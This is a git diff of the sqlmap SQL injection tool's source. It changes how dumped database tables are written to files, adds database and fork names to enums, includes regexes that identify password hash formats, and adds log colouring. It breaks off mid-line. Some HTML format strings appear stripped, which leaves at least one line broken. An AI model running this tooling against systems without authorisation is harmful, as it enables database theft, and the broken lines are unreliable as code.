try: + dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db)) + except UnicodeError: + try: + dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(unsafeSQLIdentificatorNaming(db))) + except (UnicodeError, OSError): + tempDir = tempfile.mkdtemp(prefix="sqlmapdb") + warnMsg = "currently unable to use regular dump directory. " + warnMsg += "Using temporary directory '%s' instead" % tempDir + logger.warning(warnMsg) + + dumpDbPath = tempDir if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) @@ -420,33 +435,25 @@ def dbTableValues(self, tableValues): except: warnFile = True - _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))) - dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8])) + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) + dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8])) if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) except Exception as ex: - try: - tempDir = tempfile.mkdtemp(prefix="sqlmapdb") - except IOError as _: - errMsg = "unable to write to the temporary directory ('%s'). " % _ - errMsg += "Please make sure that your disk is not full and " - errMsg += "that you have sufficient write permissions to " - errMsg += "create temporary files and/or directories" - raise SqlmapSystemException(errMsg) - + tempDir = tempfile.mkdtemp(prefix="sqlmapdb") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (dumpDbPath, getSafeExString(ex)) warnMsg += "Using temporary directory '%s' instead" % tempDir - logger.warn(warnMsg) + logger.warning(warnMsg) dumpDbPath = tempDir - dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) + dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) if not checkFile(dumpFileName, False): try: - openFile(dumpFileName, "w+b").close() + openFile(dumpFileName, "w+").close() except SqlmapSystemException: raise except: @@ -454,8 +461,8 @@ def dbTableValues(self, tableValues): _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table))) if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: - _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))) - dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower())) + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) + dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) else: dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) else: @@ -470,19 +477,24 @@ def dbTableValues(self, tableValues): shutil.copyfile(dumpFileName, candidate) except IOError: pass - finally: - break + break else: count += 1 - dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE) + dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) + if count > TRIM_STDOUT_DUMP_SIZE: + warnMsg = "console output will be trimmed to " + warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE + warnMsg += "large table size" + logger.warning(warnMsg) + separator = str() field = 1 fields = len(tableValues) - 1 - columns = prioritySortColumns(tableValues.keys()) + columns = prioritySortColumns(list(tableValues.keys())) if conf.col: cols = conf.col.split(',') @@ -495,7 +507,7 @@ def dbTableValues(self, tableValues): separator += "+%s" % lines separator += "+" - self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table))) + self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", unsafeSQLIdentificatorNaming(table))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] @@ -504,7 +516,8 @@ def dbTableValues(self, tableValues): if column != "__infos__": colType = Replication.INTEGER - for value in tableValues[column]['values']: + for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): + value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue @@ -517,7 +530,8 @@ def dbTableValues(self, tableValues): if colType is None: colType = Replication.REAL - for value in tableValues[column]['values']: + for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): + value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue @@ -551,7 +565,7 @@ def dbTableValues(self, tableValues): column = unsafeSQLIdentificatorNaming(column) maxlength = int(info["length"]) - blank = " " * (maxlength - len(column)) + blank = " " * (maxlength - getConsoleLength(column)) self._write("| %s%s" % (column, blank), newline=False) @@ -562,7 +576,7 @@ def dbTableValues(self, tableValues): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "%s" % cgi.escape(column).encode("ascii", "xmlcharrefreplace")) + dataToDumpFile(dumpFP, "%s" % (field - 1, getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))) field += 1 @@ -577,17 +591,14 @@ def dbTableValues(self, tableValues): elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() - if count > TRIM_STDOUT_DUMP_SIZE: - warnMsg = "console output will be trimmed to " - warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE - warnMsg += "large table size" - logger.warning(warnMsg) - for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] + if i == 0 and count > TRIM_STDOUT_DUMP_SIZE: + self._write(" ...") + if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "") @@ -604,14 +615,16 @@ def dbTableValues(self, tableValues): value = getUnicode(info["values"][i]) value = DUMP_REPLACEMENTS.get(value, value) - values.append(value) + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + values.append(value) + maxlength = int(info["length"]) - blank = " " * (maxlength - len(value)) + blank = " " * (maxlength - getConsoleLength(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: try: - mimetype = magic.from_buffer(value, mime=True) + mimetype = getText(magic.from_buffer(value, mime=True)) if any(mimetype.startswith(_) for _ in ("application", "image")): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath) @@ -619,12 +632,13 @@ def dbTableValues(self, tableValues): _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) - logger.warn(warnMsg) + logger.warning(warnMsg) - with open(filepath, "wb") as f: + with openFile(filepath, "w+b", None) as f: _ = safechardecode(value, True) f.write(_) - except magic.MagicException as ex: + + except Exception as ex: logger.debug(getSafeExString(ex)) if conf.dumpFormat == DUMP_FORMAT.CSV: @@ -633,7 +647,7 @@ def dbTableValues(self, tableValues): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "%s" % cgi.escape(value).encode("ascii", "xmlcharrefreplace")) + dataToDumpFile(dumpFP, "%s" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) field += 1 @@ -653,11 +667,11 @@ def dbTableValues(self, tableValues): if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() - logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath)) + logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath)) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "\n\n\n") + dataToDumpFile(dumpFP, "\n\n\n\n") else: dataToDumpFile(dumpFP, "\n") dumpFP.close() @@ -666,12 +680,11 @@ def dbTableValues(self, tableValues): if not warnFile: logger.info(msg) else: - logger.warn(msg) + logger.warning(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): if conf.api: self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) - return for column in dbColumnsDict.keys(): if colConsider == "1": @@ -679,30 +692,30 @@ def dbColumns(self, dbColumnsDict, colConsider, dbs): else: colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column) - msg = "column%s found in the " % colConsiderStr - msg += "following databases:" - self._write(msg) - - _ = {} - + found = {} for db, tblData in dbs.items(): for tbl, colData in tblData.items(): for col, dataType in colData.items(): if column.lower() in col.lower(): - if db in _: - if tbl in _[db]: - _[db][tbl][col] = dataType + if db in found: + if tbl in found[db]: + found[db][tbl][col] = dataType else: - _[db][tbl] = {col: dataType} + found[db][tbl] = {col: dataType} else: - _[db] = {} - _[db][tbl] = {col: dataType} + found[db] = {} + found[db][tbl] = {col: dataType} continue - self.dbTableColumns(_) + if found: + msg = "column%s found in the " % colConsiderStr + msg += "following databases:" + self._write(msg) + + self.dbTableColumns(found) - def query(self, query, queryRes): + def sqlQuery(self, query, queryRes): self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY) def rFile(self, fileData): diff --git a/lib/core/enums.py b/lib/core/enums.py index fe5706a5512..689055a3c21 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,11 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -class PRIORITY: +class PRIORITY(object): LOWEST = -100 LOWER = -50 LOW = -10 @@ -14,7 +14,7 @@ class PRIORITY: HIGHER = 50 HIGHEST = 100 -class SORT_ORDER: +class SORT_ORDER(object): FIRST = 0 SECOND = 1 THIRD = 2 @@ -23,7 +23,7 @@ class SORT_ORDER: LAST = 100 # Reference: https://docs.python.org/2/library/logging.html#logging-levels -class LOGGING_LEVELS: +class LOGGING_LEVELS(object): NOTSET = 0 DEBUG = 10 INFO = 20 @@ -31,7 +31,7 @@ class LOGGING_LEVELS: ERROR = 40 CRITICAL = 50 -class DBMS: +class DBMS(object): ACCESS = "Microsoft Access" DB2 = "IBM DB2" FIREBIRD = "Firebird" @@ -42,11 +42,27 @@ class DBMS: PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" + INFORMIX = "Informix" HSQLDB = "HSQLDB" H2 = "H2" - INFORMIX = "Informix" - -class DBMS_DIRECTORY_NAME: + MONETDB = "MonetDB" + DERBY = "Apache Derby" + VERTICA = "Vertica" + MCKOI = "Mckoi" + PRESTO = "Presto" + ALTIBASE = "Altibase" + MIMERSQL = "MimerSQL" + CLICKHOUSE = "ClickHouse" + CRATEDB = "CrateDB" + CUBRID = "Cubrid" + CACHE = "InterSystems Cache" + EXTREMEDB = "eXtremeDB" + FRONTBASE = "FrontBase" + RAIMA = "Raima Database Manager" + VIRTUOSO = "Virtuoso" + SNOWFLAKE = "Snowflake" + +class DBMS_DIRECTORY_NAME(object): ACCESS = "access" DB2 = "db2" FIREBIRD = "firebird" @@ -60,17 +76,53 @@ class DBMS_DIRECTORY_NAME: HSQLDB = "hsqldb" H2 = "h2" INFORMIX = "informix" - -class CUSTOM_LOGGING: + MONETDB = "monetdb" + DERBY = "derby" + VERTICA = "vertica" + MCKOI = "mckoi" + PRESTO = "presto" + ALTIBASE = "altibase" + MIMERSQL = "mimersql" + CLICKHOUSE = "clickhouse" + CRATEDB = "cratedb" + CUBRID = "cubrid" + CACHE = "cache" + EXTREMEDB = "extremedb" + FRONTBASE = "frontbase" + RAIMA = "raima" + VIRTUOSO = "virtuoso" + SNOWFLAKE = "snowflake" + +class FORK(object): + MARIADB = "MariaDB" + MEMSQL = "MemSQL" + PERCONA = "Percona" + COCKROACHDB = "CockroachDB" + TIDB = "TiDB" + REDSHIFT = "Amazon Redshift" + GREENPLUM = "Greenplum" + DRIZZLE = "Drizzle" + IGNITE = "Apache Ignite" + AURORA = "Aurora" + ENTERPRISEDB = "EnterpriseDB" + YELLOWBRICK = "Yellowbrick" + IRIS = "Iris" + YUGABYTEDB = "YugabyteDB" + OPENGAUSS = "OpenGauss" + DM8 = "DM8" + DORIS = "Doris" + STARROCKS = "StarRocks" + +class CUSTOM_LOGGING(object): PAYLOAD = 9 TRAFFIC_OUT = 8 TRAFFIC_IN = 7 -class OS: +class OS(object): LINUX = "Linux" WINDOWS = "Windows" -class PLACE: +class PLACE(object): GET = "GET" POST = "POST" URI = "URI" @@ -81,7 +133,7 @@ class PLACE: CUSTOM_POST = "(custom) POST" CUSTOM_HEADER = "(custom) HEADER" -class POST_HINT: +class POST_HINT(object): SOAP = "SOAP" JSON = "JSON" JSON_LIKE = "JSON-like" @@ -89,7 +141,7 @@ class POST_HINT: XML = "XML (generic)" ARRAY_LIKE = "Array-like" -class HTTPMETHOD: +class HTTPMETHOD(object): GET = "GET" POST = "POST" HEAD = "HEAD" @@ -100,28 +152,28 @@ class HTTPMETHOD: CONNECT = "CONNECT" PATCH = "PATCH" -class NULLCONNECTION: +class NULLCONNECTION(object): HEAD = "HEAD" RANGE = "Range" SKIP_READ = "skip-read" -class REFLECTIVE_COUNTER: +class REFLECTIVE_COUNTER(object): MISS = "MISS" HIT = "HIT" -class CHARSET_TYPE: +class CHARSET_TYPE(object): BINARY = 1 DIGITS = 2 HEXADECIMAL = 3 ALPHA = 4 ALPHANUM = 5 -class HEURISTIC_TEST: +class HEURISTIC_TEST(object): CASTED = 1 NEGATIVE = 2 POSITIVE = 3 -class HASH: +class HASH(object): MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' @@ -130,57 +182,62 @@ class HASH: MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' ORACLE = r'(?i)\As:[0-9a-f]{60}\Z' ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z' - MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z' - SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z' + MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z' + SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z' SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z' - SHA256_GENERIC = r'(?i)\A[0-9a-f]{64}\Z' + SHA256_GENERIC = r'(?i)\A(0x)?[0-9a-f]{64}\Z' SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' - SHA512_GENERIC = r'(?i)\A[0-9a-f]{128}\Z' + SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z' CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' - WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z' + PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z' APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z' APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z' VBULLETIN = r'\A[0-9a-fA-F]{32}:.{30}\Z' VBULLETIN_OLD = r'\A[0-9a-fA-F]{32}:.{3}\Z' + OSCOMMERCE_OLD = r'\A[0-9a-fA-F]{32}:.{2}\Z' SSHA = r'\A\{SSHA\}[a-zA-Z0-9+/]+={0,2}\Z' SSHA256 = r'\A\{SSHA256\}[a-zA-Z0-9+/]+={0,2}\Z' SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z' - DJANGO_MD5 = r'\Amd5\$[^$]+\$[0-9a-f]{32}\Z' - DJANGO_SHA1 = r'\Asha1\$[^$]+\$[0-9a-f]{40}\Z' + DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z' + DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z' MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z' SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z' SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z' -# Reference: http://www.zytrax.com/tech/web/mobile_ids.html -class MOBILES: - BLACKBERRY = ("BlackBerry 9900", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+") - GALAXY = ("Samsung Galaxy S", "Mozilla/5.0 (Linux; U; Android 2.2; en-US; SGH-T959D Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1") +# Reference: https://whatmyuseragent.com/brand/ +class MOBILES(object): + BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+") + GALAXY = ("Samsung Galaxy A54", "Mozilla/5.0 (Linux; Android 15; SM-A546B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.155 Mobile Safari/537.36 AirWatchBrowser/25.08.0.2131") HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") - HTC = ("HTC Sensation", "Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30") - IPHONE = ("Apple iPhone 4s", "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B179 Safari/7534.48.3") + HTC = ("HTC One X2", "Mozilla/5.0 (Linux; Android 14; X2-HT) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.46 Mobile Safari/537.36") + HUAWEI = ("Huawei Honor 90 Pro", "Mozilla/5.0 (Linux; Android 15; REP-AN00 Build/HONORREP-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/133.0.6943.137 Mobile Safari/537.36") + IPHONE = ("Apple iPhone 15 Pro Max", "Mozilla/7.0 (iPhone; CPU iPhone OS 18_7; iPhone 15 Pro Max) AppleWebKit/533.2 (KHTML, like Gecko) CriOS/126.0.6478.35 Mobile/15E148 Safari/804.17") + LUMIA = ("Microsoft Lumia 950 XL", "Mozilla/5.0 (Windows Mobile 10; Android 10.0;Microsoft;Lumia 950XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36 Edge/40.15254.603") NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") + PIXEL = ("Google Pixel 9", "Mozilla/5.0 (Linux; Android 14; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/24.0 Chrome/139.0.0.0 Mobile Safari/537.36") + XIAOMI = ("Xiaomi Redmi 15C", "Mozilla/5.0 (Linux; Android 15; REDMI 15C Build/AP3A.240905.015.A2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.118 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.43.0-gn") -class PROXY_TYPE: +class PROXY_TYPE(object): HTTP = "HTTP" HTTPS = "HTTPS" SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" -class REGISTRY_OPERATION: +class REGISTRY_OPERATION(object): READ = "read" ADD = "add" DELETE = "delete" -class DUMP_FORMAT: +class DUMP_FORMAT(object): CSV = "CSV" HTML = "HTML" SQLITE = "SQLITE" -class HTTP_HEADER: +class HTTP_HEADER(object): ACCEPT = "Accept" ACCEPT_CHARSET = "Accept-Charset" ACCEPT_ENCODING = "Accept-Encoding" @@ -196,6 +253,7 @@ class HTTP_HEADER: EXPIRES = "Expires" HOST = "Host" IF_MODIFIED_SINCE = "If-Modified-Since" + IF_NONE_MATCH = "If-None-Match" LAST_MODIFIED = "Last-Modified" LOCATION = "Location" PRAGMA = "Pragma" @@ -213,20 +271,21 @@ class HTTP_HEADER: X_POWERED_BY = "X-Powered-By" X_DATA_ORIGIN = "X-Data-Origin" -class EXPECTED: +class EXPECTED(object): BOOL = "bool" INT = "int" -class OPTION_TYPE: +class OPTION_TYPE(object): BOOLEAN = "boolean" INTEGER = "integer" FLOAT = "float" STRING = "string" -class HASHDB_KEYS: +class HASHDB_KEYS(object): DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" + CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT" CONF_TMP_PATH = "CONF_TMP_PATH" KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS" KB_BRUTE_COLUMNS = "KB_BRUTE_COLUMNS" @@ -238,17 +297,17 @@ class HASHDB_KEYS: KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" OS = "OS" -class REDIRECTION: - YES = "Y" - NO = "N" +class REDIRECTION(object): + YES = 'Y' + NO = 'N' -class PAYLOAD: +class PAYLOAD(object): SQLINJECTION = { 1: "boolean-based blind", 2: "error-based", 3: "inline query", 4: "stacked queries", - 5: "AND/OR time-based blind", + 5: "time-based blind", 6: "UNION query", } @@ -281,13 +340,13 @@ class PAYLOAD: 9: "Pre-WHERE (non-query)", } - class METHOD: + class METHOD(object): COMPARISON = "comparison" GREP = "grep" TIME = "time" UNION = "union" - class TECHNIQUE: + class TECHNIQUE(object): BOOLEAN = 1 ERROR = 2 QUERY = 3 @@ -295,28 +354,29 @@ class TECHNIQUE: TIME = 5 UNION = 6 - class WHERE: + class WHERE(object): ORIGINAL = 1 NEGATIVE = 2 REPLACE = 3 -class WIZARD: +class WIZARD(object): BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba") INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs") ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll") -class ADJUST_TIME_DELAY: +class ADJUST_TIME_DELAY(object): DISABLE = -1 NO = 0 YES = 1 -class WEB_PLATFORM: +class WEB_PLATFORM(object): PHP = "php" ASP = "asp" ASPX = "aspx" JSP = "jsp" + CFM = "cfm" -class CONTENT_TYPE: +class CONTENT_TYPE(object): TARGET = 0 TECHNIQUES = 1 DBMS_FINGERPRINT = 2 @@ -343,27 +403,29 @@ class CONTENT_TYPE: FILE_WRITE = 23 OS_CMD = 24 REG_READ = 25 + STATEMENTS = 26 -class CONTENT_STATUS: +class CONTENT_STATUS(object): IN_PROGRESS = 0 COMPLETE = 1 -class AUTH_TYPE: +class AUTH_TYPE(object): BASIC = "basic" DIGEST = "digest" + BEARER = "bearer" NTLM = "ntlm" PKI = "pki" -class AUTOCOMPLETE_TYPE: +class AUTOCOMPLETE_TYPE(object): SQL = 0 OS = 1 SQLMAP = 2 API = 3 -class NOTE: +class NOTE(object): FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable" -class MKSTEMP_PREFIX: +class MKSTEMP_PREFIX(object): HASHES = "sqlmaphashes-" CRAWLER = "sqlmapcrawler-" IPC = "sqlmapipc-" @@ -373,12 +435,73 @@ class MKSTEMP_PREFIX: COOKIE_JAR = "sqlmapcookiejar-" BIG_ARRAY = "sqlmapbigarray-" SPECIFIC_RESPONSE = "sqlmapresponse-" + PREPROCESS = "sqlmappreprocess-" -class TIMEOUT_STATE: +class TIMEOUT_STATE(object): NORMAL = 0 EXCEPTION = 1 TIMEOUT = 2 -class HINT: +class HINT(object): PREPEND = 0 - APPEND = 1 \ No newline at end of file + APPEND = 1 + +class FUZZ_UNION_COLUMN: + STRING = "" + INTEGER = "" + NULL = "NULL" + +class COLOR: + BLUE = "\033[34m" + BOLD_MAGENTA = "\033[35;1m" + BOLD_GREEN = "\033[32;1m" + BOLD_LIGHT_MAGENTA = "\033[95;1m" + LIGHT_GRAY = "\033[37m" + BOLD_RED = "\033[31;1m" + BOLD_LIGHT_GRAY = "\033[37;1m" + YELLOW = "\033[33m" + DARK_GRAY = "\033[90m" + BOLD_CYAN = "\033[36;1m" + LIGHT_RED = "\033[91m" + CYAN = "\033[36m" + MAGENTA = "\033[35m" + LIGHT_MAGENTA = "\033[95m" + LIGHT_GREEN = "\033[92m" + RESET = "\033[0m" + BOLD_DARK_GRAY = "\033[90;1m" + BOLD_LIGHT_YELLOW = "\033[93;1m" + BOLD_LIGHT_RED = "\033[91;1m" + BOLD_LIGHT_GREEN = "\033[92;1m" + LIGHT_YELLOW = "\033[93m" + BOLD_LIGHT_BLUE = "\033[94;1m" + BOLD_LIGHT_CYAN = "\033[96;1m" + LIGHT_BLUE = "\033[94m" + BOLD_WHITE = "\033[97;1m" + LIGHT_CYAN = "\033[96m" + BLACK = "\033[30m" + BOLD_YELLOW = "\033[33;1m" + BOLD_BLUE = "\033[34;1m" + GREEN = "\033[32m" + WHITE = "\033[97m" + BOLD_BLACK = "\033[30;1m" + RED = "\033[31m" + UNDERLINE = "\033[4m" + +class BACKGROUND: + BLUE = "\033[44m" + LIGHT_GRAY = "\033[47m" + YELLOW = "\033[43m" + DARK_GRAY = "\033[100m" + LIGHT_RED = "\033[101m" + CYAN = "\033[46m" + MAGENTA = "\033[45m" + LIGHT_MAGENTA = "\033[105m" + LIGHT_GREEN = "\033[102m" + RESET = "\033[0m" + LIGHT_YELLOW = "\033[103m" + LIGHT_BLUE = "\033[104m" + LIGHT_CYAN = "\033[106m" + BLACK = "\033[40m" + GREEN = "\033[42m" + WHITE = "\033[107m" + RED = "\033[41m" diff --git a/lib/core/exception.py b/lib/core/exception.py index ad87adf6f8a..4d111073dec 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/log.py b/lib/core/log.py index 096fdfd9053..72e2028d191 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,11 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import logging +import re import sys from lib.core.enums import CUSTOM_LOGGING @@ -20,6 +21,77 @@ try: from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler + class _ColorizingStreamHandler(ColorizingStreamHandler): + def colorize(self, message, levelno, force=False): + if levelno in self.level_map and (self.is_tty or force): + bg, fg, bold = self.level_map[levelno] + params = [] + + if bg in self.color_map: + params.append(str(self.color_map[bg] + 40)) + + if fg in self.color_map: + params.append(str(self.color_map[fg] + 30)) + + if bold: + params.append('1') + + if params and message: + match = re.search(r"\A(\s+)", message) + prefix = match.group(1) if match else "" + message = message[len(prefix):] + + match = re.search(r"\[([A-Z ]+)\]", message) # log level + if match: + level = match.group(1) + if message.startswith(self.bold): + message = message.replace(self.bold, "") + reset = self.reset + self.bold + params.append('1') + else: + reset = self.reset + message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1) + + match = re.search(r"\A\s*\[([\d:]+)\]", message) # time + if match: + time = match.group(1) + message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) + + match = re.search(r"\[(#\d+)\]", message) # counter + if match: + counter = match.group(1) + message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) + + if level != "PAYLOAD": + if any(_ in message for _ in ("parsed DBMS error message",)): + match = re.search(r": '(.+)'", message) + if match: + string = match.group(1) + message = 